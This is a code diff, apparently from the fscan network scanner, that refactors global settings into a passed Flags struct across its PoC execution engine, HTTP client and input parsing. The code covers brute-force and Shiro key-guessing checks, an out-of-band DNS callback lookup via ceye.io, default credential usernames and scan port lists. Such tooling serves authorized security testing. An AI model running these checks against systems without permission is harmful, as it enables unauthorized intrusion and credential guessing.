if expression == "newReverse()" {
|
if expression == "newReverse()" {
|
||||||
if !common.DnsLog {
|
if !flags.DnsLog {
|
||||||
return false, nil, ""
|
return false, nil, ""
|
||||||
}
|
}
|
||||||
variableMap[k] = newReverse()
|
variableMap[k] = newReverse()
|
||||||
@ -96,7 +97,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||||||
success := false
|
success := false
|
||||||
//爆破模式,比如tomcat弱口令
|
//爆破模式,比如tomcat弱口令
|
||||||
if len(p.Sets) > 0 {
|
if len(p.Sets) > 0 {
|
||||||
success, err = clusterpoc(oReq, p, variableMap, req, env)
|
success, err = clusterpoc(oReq, p, flags.PocFull, variableMap, req, env)
|
||||||
return success, nil, ""
|
return success, nil, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -132,7 +133,6 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||||||
|
|
||||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
|
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
//fmt.Println("[-] newRequest error: ",err)
|
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
newRequest.Header = oReq.Header.Clone()
|
newRequest.Header = oReq.Header.Clone()
|
||||||
@ -149,7 +149,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||||||
// 先判断响应页面是否匹配search规则
|
// 先判断响应页面是否匹配search规则
|
||||||
if rule.Search != "" {
|
if rule.Search != "" {
|
||||||
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
|
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
|
||||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
if len(result) > 0 { // 正则匹配成功
|
||||||
for k, v := range result {
|
for k, v := range result {
|
||||||
variableMap[k] = v
|
variableMap[k] = v
|
||||||
}
|
}
|
||||||
@ -161,7 +161,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
|
||||||
//如果false不继续执行后续rule
|
//如果false不继续执行后续rule
|
||||||
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||||
flag, ok = out.Value().(bool)
|
flag, ok = out.Value().(bool)
|
||||||
@ -258,7 +258,7 @@ func newReverse() *Reverse {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
|
func clusterpoc(oReq *http.Request, p *Poc, pocFull bool, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
|
||||||
var strMap StrMap
|
var strMap StrMap
|
||||||
var tmpnum int
|
var tmpnum int
|
||||||
for i, rule := range p.Rules {
|
for i, rule := range p.Rules {
|
||||||
@ -277,8 +277,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
|||||||
ruleHash := make(map[string]struct{})
|
ruleHash := make(map[string]struct{})
|
||||||
look:
|
look:
|
||||||
for j, item := range setsMap {
|
for j, item := range setsMap {
|
||||||
//shiro默认只跑10key
|
//shiro only runs by default 10key
|
||||||
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
|
if p.Name == "poc-yaml-shiro-key" && !pocFull && j >= 10 {
|
||||||
if item[1] == "cbc" {
|
if item[1] == "cbc" {
|
||||||
continue
|
continue
|
||||||
} else {
|
} else {
|
||||||
@ -445,7 +445,6 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
|||||||
//
|
//
|
||||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
//fmt.Println("[-] newRequest error:",err)
|
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
newRequest.Header = oReq.Header.Clone()
|
newRequest.Header = oReq.Header.Clone()
|
||||||
@ -477,7 +476,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
|||||||
}
|
}
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
|
||||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
||||||
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||||
}
|
}
|
||||||
|
@ -6,9 +6,6 @@ import (
|
|||||||
"embed"
|
"embed"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/net/proxy"
|
|
||||||
"gopkg.in/yaml.v2"
|
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
"log"
|
"log"
|
||||||
"net"
|
"net"
|
||||||
@ -16,6 +13,10 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"golang.org/x/net/proxy"
|
||||||
|
"gopkg.in/yaml.v2"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@ -25,15 +26,15 @@ var (
|
|||||||
keepAlive = 5 * time.Second
|
keepAlive = 5 * time.Second
|
||||||
)
|
)
|
||||||
|
|
||||||
func Inithttp(PocInfo common.PocInfo) {
|
func Inithttp(flags common.Flags) {
|
||||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
||||||
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
|
err := InitHttpClient(flags.PocNum, flags.Proxy, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.WebTimeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatal(err)
|
log.Fatal(err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
func InitHttpClient(ThreadsNum int, DownProxy string, socks5Proxy common.Socks5, Timeout time.Duration) error {
|
||||||
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
|
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
|
||||||
dialer := &net.Dialer{
|
dialer := &net.Dialer{
|
||||||
Timeout: dialTimout,
|
Timeout: dialTimout,
|
||||||
@ -51,8 +52,8 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
|
|||||||
DisableKeepAlives: false,
|
DisableKeepAlives: false,
|
||||||
}
|
}
|
||||||
|
|
||||||
if common.Socks5Proxy != "" {
|
if socks5Proxy.Address != "" {
|
||||||
dialSocksProxy, err := common.Socks5Dailer(dialer)
|
dialSocksProxy, err := common.Socks5Dailer(dialer, socks5Proxy)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
@ -570,7 +570,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
|
|||||||
time.Sleep(time.Second * time.Duration(timeout))
|
time.Sleep(time.Second * time.Duration(timeout))
|
||||||
sub := strings.Split(r.Domain, ".")[0]
|
sub := strings.Split(r.Domain, ".")[0]
|
||||||
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
||||||
//fmt.Println(urlStr)
|
|
||||||
req, _ := http.NewRequest("GET", urlStr, nil)
|
req, _ := http.NewRequest("GET", urlStr, nil)
|
||||||
resp, err := DoRequest(req, false)
|
resp, err := DoRequest(req, false)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@ -621,7 +621,6 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
|||||||
oResp, err = ClientNoRedirect.Do(req)
|
oResp, err = ClientNoRedirect.Do(req)
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
//fmt.Println("[-]DoRequest error: ",err)
|
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
defer oResp.Body.Close()
|
defer oResp.Body.Close()
|
||||||
|
131
common/Parse.go
131
common/Parse.go
@ -11,24 +11,28 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
func Parse(Info *HostInfo) {
|
func Parse(inputConfig *InConfig) {
|
||||||
ParseUser()
|
ParseUser(&inputConfig.Flags)
|
||||||
ParsePass(Info)
|
ParsePass(&inputConfig.HostInfo, &inputConfig.Flags)
|
||||||
ParseInput(Info)
|
ParseInput(&inputConfig.HostInfo, &inputConfig.Flags)
|
||||||
ParseScantype(Info)
|
ParseScantype(&inputConfig.HostInfo, &inputConfig.Flags)
|
||||||
|
|
||||||
|
Outputfile = inputConfig.LogConfig.Outputfile
|
||||||
|
IsSave = !inputConfig.LogConfig.TmpSave
|
||||||
|
Cookie = inputConfig.Cookie
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseUser() {
|
func ParseUser(flags *Flags) {
|
||||||
if Username == "" && Userfile == "" {
|
if flags.Username == "" && flags.Userfile == "" {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
var Usernames []string
|
var Usernames []string
|
||||||
if Username != "" {
|
if flags.Username != "" {
|
||||||
Usernames = strings.Split(Username, ",")
|
Usernames = strings.Split(flags.Username, ",")
|
||||||
}
|
}
|
||||||
|
|
||||||
if Userfile != "" {
|
if flags.Userfile != "" {
|
||||||
users, err := Readfile(Userfile)
|
users, err := Readfile(flags.Userfile)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
for _, user := range users {
|
for _, user := range users {
|
||||||
if user != "" {
|
if user != "" {
|
||||||
@ -44,10 +48,10 @@ func ParseUser() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParsePass(Info *HostInfo) {
|
func ParsePass(Info *HostInfo, flags *Flags) {
|
||||||
var PwdList []string
|
var PwdList []string
|
||||||
if Password != "" {
|
if flags.Password != "" {
|
||||||
passs := strings.Split(Password, ",")
|
passs := strings.Split(flags.Password, ",")
|
||||||
for _, pass := range passs {
|
for _, pass := range passs {
|
||||||
if pass != "" {
|
if pass != "" {
|
||||||
PwdList = append(PwdList, pass)
|
PwdList = append(PwdList, pass)
|
||||||
@ -55,8 +59,8 @@ func ParsePass(Info *HostInfo) {
|
|||||||
}
|
}
|
||||||
Passwords = PwdList
|
Passwords = PwdList
|
||||||
}
|
}
|
||||||
if Passfile != "" {
|
if flags.Passfile != "" {
|
||||||
passs, err := Readfile(Passfile)
|
passs, err := Readfile(flags.Passfile)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
for _, pass := range passs {
|
for _, pass := range passs {
|
||||||
if pass != "" {
|
if pass != "" {
|
||||||
@ -66,34 +70,35 @@ func ParsePass(Info *HostInfo) {
|
|||||||
Passwords = PwdList
|
Passwords = PwdList
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if URL != "" {
|
|
||||||
urls := strings.Split(URL, ",")
|
if flags.URL != "" {
|
||||||
|
urls := strings.Split(flags.URL, ",")
|
||||||
TmpUrls := make(map[string]struct{})
|
TmpUrls := make(map[string]struct{})
|
||||||
for _, url := range urls {
|
for _, url := range urls {
|
||||||
if _, ok := TmpUrls[url]; !ok {
|
if _, ok := TmpUrls[url]; !ok {
|
||||||
TmpUrls[url] = struct{}{}
|
TmpUrls[url] = struct{}{}
|
||||||
if url != "" {
|
if url != "" {
|
||||||
Urls = append(Urls, url)
|
flags.Urls = append(flags.Urls, url)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if UrlFile != "" {
|
if flags.UrlFile != "" {
|
||||||
urls, err := Readfile(UrlFile)
|
urls, err := Readfile(flags.UrlFile)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
TmpUrls := make(map[string]struct{})
|
TmpUrls := make(map[string]struct{})
|
||||||
for _, url := range urls {
|
for _, url := range urls {
|
||||||
if _, ok := TmpUrls[url]; !ok {
|
if _, ok := TmpUrls[url]; !ok {
|
||||||
TmpUrls[url] = struct{}{}
|
TmpUrls[url] = struct{}{}
|
||||||
if url != "" {
|
if url != "" {
|
||||||
Urls = append(Urls, url)
|
flags.Urls = append(flags.Urls, url)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if PortFile != "" {
|
if flags.PortFile != "" {
|
||||||
ports, err := Readfile(PortFile)
|
ports, err := Readfile(flags.PortFile)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
newport := ""
|
newport := ""
|
||||||
for _, port := range ports {
|
for _, port := range ports {
|
||||||
@ -125,88 +130,84 @@ func Readfile(filename string) ([]string, error) {
|
|||||||
return content, nil
|
return content, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseInput(Info *HostInfo) {
|
func ParseInput(Info *HostInfo, flags *Flags) {
|
||||||
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
|
if Info.Host == "" && flags.HostFile == "" && flags.URL == "" && flags.UrlFile == "" {
|
||||||
fmt.Println("Host is none")
|
fmt.Println("Host is none")
|
||||||
flag.Usage()
|
flag.Usage()
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
if BruteThread <= 0 {
|
if flags.BruteThread <= 0 {
|
||||||
BruteThread = 1
|
flags.BruteThread = 1
|
||||||
}
|
|
||||||
|
|
||||||
if TmpSave == true {
|
|
||||||
IsSave = false
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if Info.Ports == DefaultPorts {
|
if Info.Ports == DefaultPorts {
|
||||||
Info.Ports += "," + Webport
|
Info.Ports += "," + Webport
|
||||||
}
|
}
|
||||||
|
|
||||||
if PortAdd != "" {
|
if flags.PortAdd != "" {
|
||||||
if strings.HasSuffix(Info.Ports, ",") {
|
if strings.HasSuffix(Info.Ports, ",") {
|
||||||
Info.Ports += PortAdd
|
Info.Ports += flags.PortAdd
|
||||||
} else {
|
} else {
|
||||||
Info.Ports += "," + PortAdd
|
Info.Ports += "," + flags.PortAdd
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if UserAdd != "" {
|
if flags.UserAdd != "" {
|
||||||
user := strings.Split(UserAdd, ",")
|
user := strings.Split(flags.UserAdd, ",")
|
||||||
for a := range Userdict {
|
for a := range Userdict {
|
||||||
Userdict[a] = append(Userdict[a], user...)
|
Userdict[a] = append(Userdict[a], user...)
|
||||||
Userdict[a] = RemoveDuplicate(Userdict[a])
|
Userdict[a] = RemoveDuplicate(Userdict[a])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if PassAdd != "" {
|
if flags.PassAdd != "" {
|
||||||
pass := strings.Split(PassAdd, ",")
|
pass := strings.Split(flags.PassAdd, ",")
|
||||||
Passwords = append(Passwords, pass...)
|
Passwords = append(Passwords, pass...)
|
||||||
Passwords = RemoveDuplicate(Passwords)
|
Passwords = RemoveDuplicate(Passwords)
|
||||||
}
|
}
|
||||||
if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
if flags.Socks5Proxy != "" && !strings.HasPrefix(flags.Socks5Proxy, "socks5://") {
|
||||||
if !strings.Contains(Socks5Proxy, ":") {
|
if !strings.Contains(flags.Socks5Proxy, ":") {
|
||||||
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
|
flags.Socks5Proxy = "socks5://127.0.0.1" + flags.Socks5Proxy
|
||||||
} else {
|
} else {
|
||||||
Socks5Proxy = "socks5://" + Socks5Proxy
|
flags.Socks5Proxy = "socks5://" + flags.Socks5Proxy
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if Socks5Proxy != "" {
|
if flags.Socks5Proxy != "" {
|
||||||
fmt.Println("Socks5Proxy:", Socks5Proxy)
|
fmt.Println("Socks5Proxy:", flags.Socks5Proxy)
|
||||||
_, err := url.Parse(Socks5Proxy)
|
_, err := url.Parse(flags.Socks5Proxy)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println("Socks5Proxy parse error:", err)
|
fmt.Println("Socks5Proxy parse error:", err)
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
NoPing = true
|
flags.NoPing = true
|
||||||
}
|
}
|
||||||
if Proxy != "" {
|
if flags.Proxy != "" {
|
||||||
if Proxy == "1" {
|
if flags.Proxy == "1" {
|
||||||
Proxy = "http://127.0.0.1:8080"
|
flags.Proxy = "http://127.0.0.1:8080"
|
||||||
} else if Proxy == "2" {
|
} else if flags.Proxy == "2" {
|
||||||
Proxy = "socks5://127.0.0.1:1080"
|
flags.Proxy = "socks5://127.0.0.1:1080"
|
||||||
} else if !strings.Contains(Proxy, "://") {
|
} else if !strings.Contains(flags.Proxy, "://") {
|
||||||
Proxy = "http://127.0.0.1:" + Proxy
|
flags.Proxy = "http://127.0.0.1:" + flags.Proxy
|
||||||
}
|
}
|
||||||
fmt.Println("Proxy:", Proxy)
|
fmt.Println("Proxy:", flags.Proxy)
|
||||||
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
|
if !strings.HasPrefix(flags.Proxy, "socks") && !strings.HasPrefix(flags.Proxy, "http") {
|
||||||
fmt.Println("no support this proxy")
|
fmt.Println("no support this proxy")
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
_, err := url.Parse(Proxy)
|
_, err := url.Parse(flags.Proxy)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println("Proxy parse error:", err)
|
fmt.Println("Proxy parse error:", err)
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if Hash != "" && len(Hash) != 32 {
|
if flags.Hash != "" && len(flags.Hash) != 32 {
|
||||||
fmt.Println("[-] Hash is error,len(hash) must be 32")
|
fmt.Println("[-] Hash is error,len(hash) must be 32")
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
} else {
|
} else {
|
||||||
var err error
|
var err error
|
||||||
HashBytes, err = hex.DecodeString(Hash)
|
flags.HashBytes, err = hex.DecodeString(flags.Hash)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println("[-] Hash is error,hex decode error")
|
fmt.Println("[-] Hash is error,hex decode error")
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
@ -214,13 +215,13 @@ func ParseInput(Info *HostInfo) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseScantype(Info *HostInfo) {
|
func ParseScantype(Info *HostInfo, flags *Flags) {
|
||||||
_, ok := PORTList[Scantype]
|
_, ok := PORTList[flags.Scantype]
|
||||||
if !ok {
|
if !ok {
|
||||||
showmode()
|
showmode()
|
||||||
}
|
}
|
||||||
if Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
|
if flags.Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
|
||||||
switch Scantype {
|
switch flags.Scantype {
|
||||||
case "wmiexec":
|
case "wmiexec":
|
||||||
Info.Ports = "135"
|
Info.Ports = "135"
|
||||||
case "wmiinfo":
|
case "wmiinfo":
|
||||||
@ -244,10 +245,10 @@ func ParseScantype(Info *HostInfo) {
|
|||||||
case "main":
|
case "main":
|
||||||
Info.Ports = DefaultPorts
|
Info.Ports = DefaultPorts
|
||||||
default:
|
default:
|
||||||
port, _ := PORTList[Scantype]
|
port, _ := PORTList[flags.Scantype]
|
||||||
Info.Ports = strconv.Itoa(port)
|
Info.Ports = strconv.Itoa(port)
|
||||||
}
|
}
|
||||||
fmt.Println("-m ", Scantype, " start scan the port:", Info.Ports)
|
fmt.Println("-m ", flags.Scantype, " start scan the port:", Info.Ports)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -23,11 +23,11 @@ var ParseIPErr = errors.New(" host parsing error\n" +
|
|||||||
"192.168.1.1-192.168.255.255\n" +
|
"192.168.1.1-192.168.255.255\n" +
|
||||||
"192.168.1.1-255")
|
"192.168.1.1-255")
|
||||||
|
|
||||||
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
func ParseIP(hostPort *[]string, host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||||
hosts = ParseIPs(host)
|
hosts = ParseIPs(host)
|
||||||
if filename != "" {
|
if filename != "" {
|
||||||
var filehost []string
|
var filehost []string
|
||||||
filehost, _ = Readipfile(filename)
|
filehost, _ = readipfile(hostPort, filename)
|
||||||
hosts = append(hosts, filehost...)
|
hosts = append(hosts, filehost...)
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -55,7 +55,7 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
hosts = RemoveDuplicate(hosts)
|
hosts = RemoveDuplicate(hosts)
|
||||||
if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" {
|
if len(hosts) == 0 && len(*hostPort) == 0 && host != "" && filename != "" {
|
||||||
err = ParseIPErr
|
err = ParseIPErr
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
@ -115,7 +115,8 @@ func parseIP2(host string) (hosts []string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 解析ip段: 192.168.111.1-255
|
// 解析ip段: 192.168.111.1-255
|
||||||
// 192.168.111.1-192.168.112.255
|
//
|
||||||
|
// 192.168.111.1-192.168.112.255
|
||||||
func parseIP1(ip string) []string {
|
func parseIP1(ip string) []string {
|
||||||
IPRange := strings.Split(ip, "-")
|
IPRange := strings.Split(ip, "-")
|
||||||
testIP := net.ParseIP(IPRange[0])
|
testIP := net.ParseIP(IPRange[0])
|
||||||
@ -175,19 +176,22 @@ func IPRange(c *net.IPNet) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 按行读ip
|
// 按行读ip
|
||||||
func Readipfile(filename string) ([]string, error) {
|
func readipfile(hostPort *[]string, filename string) ([]string, error) {
|
||||||
file, err := os.Open(filename)
|
file, err := os.Open(filename)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("Open %s error, %v", filename, err)
|
fmt.Printf("Open %s error, %v", filename, err)
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
defer file.Close()
|
defer file.Close()
|
||||||
var content []string
|
|
||||||
scanner := bufio.NewScanner(file)
|
scanner := bufio.NewScanner(file)
|
||||||
scanner.Split(bufio.ScanLines)
|
scanner.Split(bufio.ScanLines)
|
||||||
|
|
||||||
|
var content []string
|
||||||
for scanner.Scan() {
|
for scanner.Scan() {
|
||||||
line := strings.TrimSpace(scanner.Text())
|
line := strings.TrimSpace(scanner.Text())
|
||||||
if line != "" {
|
if line != "" {
|
||||||
|
var hosts []string
|
||||||
text := strings.Split(line, ":")
|
text := strings.Split(line, ":")
|
||||||
if len(text) == 2 {
|
if len(text) == 2 {
|
||||||
port := strings.Split(text[1], " ")[0]
|
port := strings.Split(text[1], " ")[0]
|
||||||
@ -195,14 +199,14 @@ func Readipfile(filename string) ([]string, error) {
|
|||||||
if err != nil || (num < 1 || num > 65535) {
|
if err != nil || (num < 1 || num > 65535) {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
hosts := ParseIPs(text[0])
|
hosts = ParseIPs(text[0])
|
||||||
for _, host := range hosts {
|
for _, host := range hosts {
|
||||||
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
|
*hostPort = append(*hostPort, fmt.Sprintf("%s:%s", host, port))
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
host := ParseIPs(line)
|
hosts = ParseIPs(line)
|
||||||
content = append(content, host...)
|
|
||||||
}
|
}
|
||||||
|
content = append(content, hosts...)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return content, nil
|
return content, nil
|
||||||
|
@ -1,6 +1,5 @@
|
|||||||
package common
|
package common
|
||||||
|
|
||||||
var version = "1.8.2"
|
|
||||||
var Userdict = map[string][]string{
|
var Userdict = map[string][]string{
|
||||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||||
"mysql": {"root", "mysql"},
|
"mysql": {"root", "mysql"},
|
||||||
@ -42,16 +41,16 @@ var PORTList = map[string]int{
|
|||||||
"main": 0,
|
"main": 0,
|
||||||
}
|
}
|
||||||
|
|
||||||
var Outputfile = "result.txt"
|
|
||||||
var IsSave = true
|
var IsSave = true
|
||||||
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
|
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
|
||||||
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
|
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
|
||||||
|
|
||||||
type HostInfo struct {
|
type HostInfo struct {
|
||||||
Host string
|
Host string
|
||||||
Ports string
|
Ports string
|
||||||
Url string
|
Url string
|
||||||
Infostr []string
|
Infostr []string
|
||||||
|
HostPort []string // locks like dead varibale, I cannot file initialization of this variable
|
||||||
}
|
}
|
||||||
|
|
||||||
type PocInfo struct {
|
type PocInfo struct {
|
||||||
@ -60,55 +59,7 @@ type PocInfo struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
Path string
|
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
|
||||||
Scantype string
|
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||||
Command string
|
Cookie string
|
||||||
SshKey string
|
|
||||||
Domain string
|
|
||||||
Username string
|
|
||||||
Password string
|
|
||||||
Proxy string
|
|
||||||
Timeout int64 = 3
|
|
||||||
WebTimeout int64 = 5
|
|
||||||
TmpSave bool
|
|
||||||
NoPing bool
|
|
||||||
Ping bool
|
|
||||||
Pocinfo PocInfo
|
|
||||||
IsWebCan bool
|
|
||||||
IsBrute bool
|
|
||||||
RedisFile string
|
